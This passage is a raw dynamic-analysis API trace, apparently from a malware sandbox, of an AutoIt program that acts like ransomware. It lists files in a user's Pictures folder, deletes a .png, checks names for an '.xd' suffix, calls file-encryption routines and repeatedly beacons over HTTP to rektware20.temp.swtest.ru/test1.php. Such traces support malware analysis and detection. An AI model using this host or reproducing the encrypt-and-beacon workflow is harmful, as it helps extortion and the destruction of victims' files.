out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.425] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.425] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0061.426] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0061.426] CryptReleaseContext (hProv=0x17aa9a0, dwFlags=0x0) returned 1 [0061.426] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.426] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.426] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.426] FreeLibrary (hLibModule=0x74c60000) returned 1 [0061.426] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.426] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.426] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.426] CloseHandle (hObject=0x2ac) returned 1 [0061.431] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.431] CloseHandle (hObject=0x3bc) returned 1 [0061.433] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.438] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.438] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", lpFilePart=0x0) returned 0x4a [0061.439] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\coafdivzkrsqai.png")) returned 0x20 [0061.439] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c530 [0061.440] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\coafdivzkrsqai.png")) returned 1 [0061.453] FindNextFileW (in: hFindFile=0x164c530, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0061.454] FindClose (in: hFindFile=0x164c530 | out: hFindFile=0x164c530) returned 1 [0061.454] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.454] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.454] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.454] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.454] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0061.455] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.455] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.455] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0061.455] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.455] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0061.455] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0061.455] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c) returned 1 [0061.455] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.455] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.456] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.459] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0061.459] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0061.459] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0061.459] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629220, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629220*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0061.459] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0061.459] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.461] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.461] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.462] CloseHandle (hObject=0x0) returned 0 [0061.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.462] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kHlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HlYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lYytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ytl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tl7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wP\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UIA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IA_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ybe5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="be5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ptsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tsU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sU.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.466] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.466] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0061.466] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.466] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0061.467] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0061.467] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.467] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0061.467] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0061.467] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dc0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620dc0, lpdwBufferLength=0x130ee1c) returned 1 [0061.467] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.467] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.467] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.468] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0061.468] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0061.468] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0061.468] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0061.469] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629430, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629430*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0061.469] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.469] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.469] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.469] CloseHandle (hObject=0x0) returned 0 [0061.470] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.470] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0061.470] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0061.470] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.470] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.470] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.470] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", 